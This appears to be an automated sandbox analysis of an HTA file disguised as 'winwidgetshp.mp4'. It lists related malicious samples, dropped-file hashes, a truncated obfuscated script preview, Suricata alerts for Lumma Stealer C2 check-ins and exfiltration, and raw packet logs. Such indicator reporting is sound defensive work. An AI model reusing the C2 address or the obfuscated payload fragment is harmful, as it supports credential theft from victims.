104.21.48.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	twirpx.org/administrator/index.php
104.21.48.1	SN500, SN150 Spec.exe	Get hash	malicious	FormBook	Browse	www.antipromil.site/7ykh/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://cpanel05wh.bkk1.cloud.z.com/~cp197720/open/DD/	Get hash	malicious	HTMLPhisher	Browse	104.21.234.144
	nshkppc.elf	Get hash	malicious	Mirai	Browse	104.24.135.181
	swift-bootstrapper.exe	Get hash	malicious	Unknown	Browse	104.18.38.10
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.67.146
	7394231845.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.63.229
	LightSpoofer.exe	Get hash	malicious	Unknown	Browse	104.26.9.59
CLOUDFLARENETUS	https://cpanel05wh.bkk1.cloud.z.com/~cp197720/open/DD/	Get hash	malicious	HTMLPhisher	Browse	104.21.234.144
	nshkppc.elf	Get hash	malicious	Mirai	Browse	104.24.135.181
	swift-bootstrapper.exe	Get hash	malicious	Unknown	Browse	104.18.38.10
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.67.146
	7394231845.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.63.229
	LightSpoofer.exe	Get hash	malicious	Unknown	Browse	104.26.9.59

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.21.18.182
	NOTIFICATION_OF_DEPENDANTS_1.vbs	Get hash	malicious	Unknown	Browse	104.21.18.182
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse	104.21.18.182
	HLMJbase.dll	Get hash	malicious	Unknown	Browse	104.21.18.182
	HLMJbase.dll	Get hash	malicious	Unknown	Browse	104.21.18.182
	swift-bootstrapper.exe	Get hash	malicious	Unknown	Browse	104.21.18.182
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.18.182
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.48.1
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.48.1
	Solara-3.0.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.48.1
	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.48.1
	Navan - Itinerary.pdf.scr.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	BigProject.exe	Get hash	malicious	LummaC	Browse	104.21.48.1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8003
Entropy (8bit):	4.840877972214509
Encrypted:	false
SSDEEP:	192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
MD5:	106D01F562D751E62B702803895E93E0
SHA1:	CBF19C2392BDFA8C2209F8534616CCA08EE01A92
SHA-256:	6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
SHA-512:	81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1300
Entropy (8bit):	5.397535305912226
Encrypted:	false
SSDEEP:	24:3zWSKco4KmM6GjKbmOIKo+mN1s4RP09tEoUEJ0gt/NK3R8QHrg+:DWSU4Yymp+ms4Rc9tEoUl8NWR8QHt
MD5:	D7751E567F9C016DE88C56317B1C702F
SHA1:	B64D11B2C68AB7F4B6CB1C30DE87F11E2C4324A4
SHA-256:	800BDC18C74F1DA50E3020D9DC6158B2C3361D93AB0CB8C6F5B481CA29F4D0BC
SHA-512:	5D7DDFD49B2757D2F4E2C86C9BB556104E51840A9CE9DC5790A4981824241F090B5DB39A9DDDC127BFD32B41510DD79AD004CCEBAFB3CB02887337DC6DD222D4
Malicious:	false
Reputation:	low
Preview:	@...e................................................@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<...............V.}...@...i...........System.Transactions.8..................1...L..U;V.<}........System.Numerics.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a01vr43g.40w.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_covk3v2u.s0z.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jwmdcjh5.eyt.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tztxhapk.but.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	data
Entropy (8bit):	6.083145650759699
TrID:
File name:	winwidgetshp.mp4.hta
File size:	621'025 bytes
MD5:	c3e71edf7d2e73d4d84837aceaac29c7
SHA1:	ac74d41864ebc5faf280c49ef82027a47ef4cabf
SHA256:	a732b675bdf1d9e1a25f8236f6c9dcb79e756a46bdfc84601c01932e1af1795b
SHA512:	695d1805215fdbca0aac5ad91c0ada1c3cee378126695789ba19cdf82c7d58834686c78216af51a145d9e4aab5ca434ad96754ec1bec57f336ef2f63bb8e0627
SSDEEP:	6144:kYKysIkPentesqL1/Ru20RtwUIebgkgaeeDkJ9qeWeoeMC:kSsb
TLSH:	1FD4C1465A738615E83C8974EED7CA382471BDC84C0487AE4AEDB435304B6B47ED6AFC
File Content Preview:	66b75r6eX63S74z69m6fA6eq20O4cT4ff77h70M71A71S28e62U6fo56c4dx29I7bQ76o61W72t20g46v59a75h59G55D3dT20t27j27O3bO66B6fc72Z20i28m76a61P72X20o6eu52b65U71u55d20k3dW20B30y3bz6eL52D65A71Z55S20q3cZ20J62H6fQ56M4dn2ed6cm65D6ed67s74P68u3bL20h6eA52Q65h71y55E2ba2bg29D7bW

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-22T13:44:20.650107+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50007	104.21.48.1	443	TCP
2024-12-22T13:44:21.556888+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50007	104.21.48.1	443	TCP
2024-12-22T13:44:21.556888+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50007	104.21.48.1	443	TCP
2024-12-22T13:44:22.788622+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50008	104.21.48.1	443	TCP
2024-12-22T13:44:23.596894+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50008	104.21.48.1	443	TCP
2024-12-22T13:44:23.596894+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50008	104.21.48.1	443	TCP
2024-12-22T13:44:25.100378+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50009	104.21.48.1	443	TCP
2024-12-22T13:44:27.404929+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50010	104.21.48.1	443	TCP
2024-12-22T13:44:29.685593+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50011	104.21.48.1	443	TCP
2024-12-22T13:44:32.200268+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50012	104.21.48.1	443	TCP
2024-12-22T13:44:34.269635+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50014	104.21.48.1	443	TCP
2024-12-22T13:44:35.070934+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50014	104.21.48.1	443	TCP
2024-12-22T13:44:36.342390+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50015	104.21.48.1	443	TCP
2024-12-22T13:44:37.097108+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50015	104.21.48.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2024 13:42:12.213433027 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:12.213486910 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:12.213591099 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:12.222944021 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:12.222961903 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:13.453345060 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:13.454087019 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:13.455344915 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:13.455373049 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:13.455805063 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:13.467669964 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:13.511327028 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.206111908 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.206167936 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.206212997 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.206239939 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.206248999 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.206273079 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.206300974 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.206330061 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.206516027 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.206525087 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.214368105 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.214521885 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.214529037 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.222917080 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.223167896 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.223176003 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.231515884 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.231652021 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.231666088 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.281110048 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.325567007 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.371784925 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.371802092 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.402033091 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.402158976 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.402189970 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.402189970 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.402232885 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.402261972 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.413218021 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.413252115 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.413309097 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.413317919 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.414387941 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.421097994 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.421236992 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.421355963 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.421365023 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.429272890 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.429362059 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.429375887 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.437180996 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.437280893 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.437294960 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.444904089 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.444986105 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.444999933 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.452855110 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.452959061 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.452971935 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.460932970 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.460971117 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.461047888 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.461062908 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.461143017 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.468955040 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.469125032 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.469263077 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.469276905 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.476048946 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.476146936 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.476160049 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.531013012 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.589878082 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.589886904 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.590163946 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.591161013 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.593636036 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.596005917 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.596013069 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.596441984 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.600796938 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.600804090 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.600888968 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.605731964 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.605739117 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.605820894 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.610466957 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.610474110 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.610829115 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.614965916 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.615052938 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.623989105 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.624090910 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.628510952 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.628623962 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.633148909 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.633304119 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.637737036 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.637793064 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.642352104 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.642427921 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.651400089 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.651683092 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.655946016 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.656081915 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.660576105 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.660669088 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.665122986 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.665206909 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.705591917 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.705841064 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.705849886 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.705996990 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.707822084 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.708328009 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.782090902 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.782320976 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.784054041 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.784130096 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.787043095 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.787172079 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.790326118 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.790477037 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.790492058 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.790640116 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.795798063 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.795861006 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.795883894 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.795895100 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.795919895 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.798703909 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.798867941 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.798875093 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.798995018 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.804652929 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.804718971 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.804728985 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.804775000 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.807404041 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.807554960 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.813040018 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.813097954 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.813108921 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.813154936 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.819117069 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.819175005 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.819200993 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.819247007 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.821897984 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.821949959 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.824728966 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.824806929 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.824815989 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.824870110 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.830449104 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.830508947 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.830571890 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.830626011 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.836147070 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.836221933 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.836252928 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.842120886 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.842179060 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.842190027 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.844860077 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.844908953 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.844917059 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.847681046 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.847727060 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.847734928 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.850625038 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.850675106 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.850682974 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.850732088 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.856287003 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.856343031 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.859230995 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:15.859292984 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:15.862093925 CET	443	49720	104.21.18.182	192.168.2.6
